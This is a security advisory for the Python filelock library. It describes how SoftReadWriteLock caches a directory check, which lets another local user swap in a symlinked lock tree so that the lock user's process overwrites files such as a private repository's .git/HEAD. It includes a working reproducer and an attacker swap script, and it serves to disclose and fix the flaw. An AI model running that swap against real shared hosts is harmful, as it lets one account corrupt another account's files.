filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock

SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) checks once per lock object, by name, that <path>.rw, <path>.rw/gen and <path>.rw/holders are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and O_NOFOLLOW (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created <path>.rw first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose gen or holders is a symbolic link into a directory of the user running the lock (the lock user below).

A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in 0700 directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces .git/HEAD in the lock user's private repository so that git status fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-WXXRI4M4 [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire".

Severity

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).

AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): the swap happens between two acquisitions, with no race to win. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): the lock user's process replaces a file named HEAD, creates epoch and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. A:N (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.

Classification from the external review: conditional security. It is a cross-user replacement of a cached .rw tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky /tmp or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.

Scope and preconditions

• Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a 0777 scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own 0700 <path>.rw aside and puts its tree in place. In a sticky parent such as /tmp the extra precondition is that it created <path>.rw (with real gen and holders directories, mode 0777) before the lock user's first acquire. prepare() accepts an existing tree whoever owns it, and the other user later replaces its own gen with a symbolic link. fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky <path>.rw, not in the sticky parent (the scanner ran with that setting).
• Lock user: any process that keeps one SoftReadWriteLock or AsyncSoftReadWriteLock object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets RuntimeError. Between two acquisitions there is no timing to win.
• Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (/home/victim/project/.git in the reproducer, under a 0700 home directory the other user cannot open).
• Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only.
• Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496b0273, OsFiles.prepare checks the three directories with lstat and caches _prepared. lstat reports what a name is without following a symbolic link. Every later operation takes a full path string, for example create (O_NOFOLLOW on the last component only), replace (Path(source).replace(target)), unlink and listdir. The callers that write through the swapped tree are Participant.publish / _create_holder, GenerationLog._incarnation (creates epoch), commit (links a generation record and renames over HEAD), _keep_claim_fresh, _sweep and _list (unlink). There is one OsFiles per lock object (_sync.py line 204), handed to every Participant at line 501.

Introduced

The once-per-object shortcut (_prepared) came with 367b111 ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with git tag --contains 367b111, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent 61582c5 (also first in 4.1.0) a contender already waiting during the swap still creates epoch in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried >= 4.0.0 as the union with a sibling finding; for this finding alone the range is >= 4.1.0, <= 4.2.0.

Mechanism

prepare() runs mkdir(mode=0o700) and then lstat() on each of <path>.rw, gen and holders. It raises RuntimeError("... exists but is not a directory or is a symlink; refusing to use it") for a symbolic link or non-directory. It does this by name, once per OsFiles (if self._prepared and not force: return), and only a FileNotFoundError while creating the holder record (the file that says this process holds or wants the lock) leads to prepare(force=True). All other OsFiles methods (read, create, link, replace, overwrite, unlink, listdir) take a full path string such as /srv/shared/app.lock.rw/gen/HEAD. O_NOFOLLOW applies to HEAD, and the kernel follows app.lock.rw and gen to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.

The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options SoftReadWriteLock, as two accounts in /srv/shared (root-owned, mode 0777, no sticky bit):

1. victim runs a worker that builds SoftReadWriteLock("/srv/shared/app.lock") once and takes write_lock() for each job. After the first job, app.lock.rw exists, owned by victim, mode 0700.
2. attacker renames app.lock.rw to app.lock.rw.aside, creates a new app.lock.rw with a world-writable holders/ in it, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git. /home/victim/project is mode 0700; the attacker account cannot open anything below it.
3. The worker takes the lock for its second job. write_lock() returns without error. /home/victim/project/.git now holds new files epoch, 00000000000000000001 and 00000000000000000002, and <epoch>\nfilelock-rw/1\ngeneration=2\n has replaced the content of .git/HEAD. git status there answers fatal: not a git repository.

The second acquisition, step by step: Participant.publish() calls prepare(), which returns at once, then creates holders/<token>. The planted tree has a writable holders, so this succeeds. advance() calls GenerationLog.latest() (the generation log is the lock's ordered record of write generations under gen/). _incarnation() reads gen/epoch, finds none behind the link, and creates .git/epoch. The epoch differs from the remembered one, so the code drops the remembered log. git's HEAD does not start with the new epoch, so _head_record() ignores it and the log reads as empty. commit() creates .git/.commit-<token>, hard-links it (a hard link is a second name for the same file) to .git/00000000000000000001, removes the temporary name, and publishes HEAD through OsFiles.replace, which is rename(".git/.commit-<token>", ".git/HEAD"). The release commits generation 2 the same way and renames over HEAD again.

Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted holders/ on its next poll (_keep_claim_fresh()), and the commit that follows replaces HEAD in the target. A process that only holds and releases, with the tree swapped during the hold, creates epoch in the target on release. With holders as the link, Participant._sweep() (run on acquire polls and from a holder's heartbeat()) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for stale_threshold (observed with stale_threshold=2; the default is 90 s). With gen as the link, GenerationLog._list() unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with SoftFileLockProtocolError.

Reproduction

The scanner's reproducer for finding ANT-2026-WXXRI4M4, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

SHARED = "/srv/shared"
LOCK_TREE = f"{SHARED}/app.lock.rw"
PROJECT = "/home/victim/project"
HEAD = Path(PROJECT, ".git", "HEAD")
AS_VICTIM = ["runuser", "-u", "victim", "--"]
AS_ATTACKER = ["runuser", "-u", "attacker", "--"]
VICTIM_WORKER = [*AS_VICTIM, sys.executable, "/tmp/repro.d/victim_worker.py"]
ATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, "/tmp/repro.d/attacker_swap_tree.py"]

# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter
shutil.rmtree(SHARED, ignore_errors=True)
shutil.rmtree(PROJECT, ignore_errors=True)
os.mkdir(SHARED)
os.chmod(SHARED, 0o777)
subprocess.run([*AS_VICTIM, "git", "init", "--quiet", PROJECT], check=True)
os.chmod(PROJECT, 0o700)
head_before = HEAD.read_text()
print("SETUP    HEAD:", repr(head_before))

attacker_opens_head = subprocess.run(
    [*AS_ATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], capture_output=True, text=True
)
if attacker_opens_head.returncode == 0:
    sys.exit("setup: the attacker can write HEAD directly")
print("CONTROL  attacker opens HEAD for writing:", attacker_opens_head.stderr.strip().splitlines()[-1])

# the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw
worker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
worker.stdin.write("job 1\n")
worker.stdin.flush()
print("VICTIM  ", worker.stdout.readline().strip())
tree = os.stat(LOCK_TREE)
print("VICTIM   app.lock.rw owner uid", tree.st_uid, "mode", oct(tree.st_mode & 0o777))

# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git
subprocess.run(ATTACKER_SWAP_TREE, check=True)
print("ATTACK   app.lock.rw/gen ->", os.readlink(f"{LOCK_TREE}/gen"))

# control: a new lock object, in a new victim process, checks the planted tree and refuses it
fresh_worker = subprocess.run(VICTIM_WORKER, input="job 1\n", capture_output=True, text=True)
print("CONTROL  new worker:", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])
print("CONTROL  HEAD after the new worker:", repr(HEAD.read_text()))

# the same worker does job 2 with the lock object that passed the check at job 1
worker.stdin.write("job 2\n")
worker.stdin.close()
print("VICTIM  ", worker.stdout.read().strip())
worker.wait()

# check: HEAD of the victim's private repository must still be git's own
head_after = HEAD.read_text()
print("OBSERVED HEAD:", repr(head_after))
print("OBSERVED .git:", sorted(os.listdir(HEAD.parent)))
git_status = subprocess.run([*AS_VICTIM, "git", "-C", PROJECT, "status"], capture_output=True, text=True)
print("OBSERVED git status:", (git_status.stdout + git_status.stderr).strip().splitlines()[0])
print("BUG" if head_after != head_before and "filelock-rw/1" in head_after else "OK")

repro.d/attacker_swap_tree.py

import os

LOCK_TREE = "/srv/shared/app.lock.rw"
TARGET = "/home/victim/project/.git"  # below a 0700 directory: this user can neither list nor write it

# the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)
os.rename(LOCK_TREE, f"{LOCK_TREE}.aside")

os.umask(0)
os.mkdir(LOCK_TREE, 0o755)
os.mkdir(f"{LOCK_TREE}/holders", 0o777)  # writable, so the victim's holder record lands and nothing re-runs prepare()
os.symlink(TARGET, f"{LOCK_TREE}/gen")

repro.d/victim_worker.py

import sys

from filelock import SoftReadWriteLock

lock = SoftReadWriteLock("/srv/shared/app.lock")
for job in sys.stdin:
    with lock.write_lock(timeout=30):
        ...  # the job's work on the shared resource
    print("victim: finished", job.strip(), "and released the lock", flush=True)

Attack sequence

sequenceDiagram
    participant A as other local user
    participant W as worker of the lock user (one lock object)
    participant F as /srv/shared (0777, no sticky bit)
    participant T as /home/victim/project/.git (0700)
    rect rgb(255, 214, 214)
        Note over A,T: filelock 4.1.0 to 4.2.0
        W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True
        W->>F: release, lock object kept
        A->>F: rename(app.lock.rw, app.lock.rw.aside)
        A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git
        W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders
        W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch
        W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001
        W->>T: replace() renames .git/.commit-token over .git/HEAD
        W->>T: release commits generation 2 and renames over HEAD again
        Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository
    end

Evidence

The scanner's reproducer runs as root, drops to victim and attacker through runuser, needs git, changes no sysctl, and takes about half a second. It creates /srv/shared (root-owned, 0777, no sticky bit), has victim run git init /home/victim/project and makes that directory 0700. It then drives two programs. victim_worker.py holds one SoftReadWriteLock("/srv/shared/app.lock") with default options; for each line on stdin it takes write_lock(timeout=30), releases it and prints finished <job> and released the lock. attacker_swap_tree.py renames the lock user's app.lock.rw aside, creates a new one with a world-writable holders/, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git, using only write access to /srv/shared. On the scanned commit it prints:

CONTROL  attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD'
VICTIM   victim: finished job 1 and released the lock
VICTIM   app.lock.rw owner uid 1000 mode 0o700
ATTACK   app.lock.rw/gen -> /home/victim/project/.git
CONTROL  new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it
CONTROL  HEAD after the new worker: 'ref: refs/heads/master\n'
VICTIM   victim: finished job 2 and released the lock
OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n'
OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...]
OBSERVED git status: fatal: not a git repository
BUG

The CONTROL lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with fs.protected_symlinks=1. There the other account creates app.lock.rw, gen and holders with mode 0777 in a 1777 parent before the lock user's first acquire, then renames its own gen aside and links it to the lock user's .git.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head: OK, HEAD stays ref: refs/heads/master, .git keeps its original listing and git status answers On branch master. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.

Impact

With the lock user's privileges, in any directory the lock user can write, the other user gets a file named HEAD replaced, new files epoch, HEAD and 20-digit generation names created (mode 0600), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, .commit-*). The bytes written are filelock's own records, not chosen by the other user. Replacing HEAD makes a git repository unusable when the other user knows its path. Renaming <path>.rw away is something this other user may do anyway, and docs/how-to.rst documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.

This is adjacent to GHSA-j8f7-rjxc-mr56 (ReadWriteLock following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for SoftFileLock, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which O_NOFOLLOW does not cover.

Workarounds

• Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a SoftReadWriteLock between accounts through a 0777 or group-writable directory.
• In a sticky directory such as /tmp, make sure the locking account creates <path>.rw before anyone else can (for example at install time with mode 0700), and do not use a lock path whose <path>.rw belongs to another account.
• Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/842

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

• 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273)
• 2026-10-16 00:46 UTC: draft advisory created
• 2026-10-16 01:39 UTC: fix PR #842 opened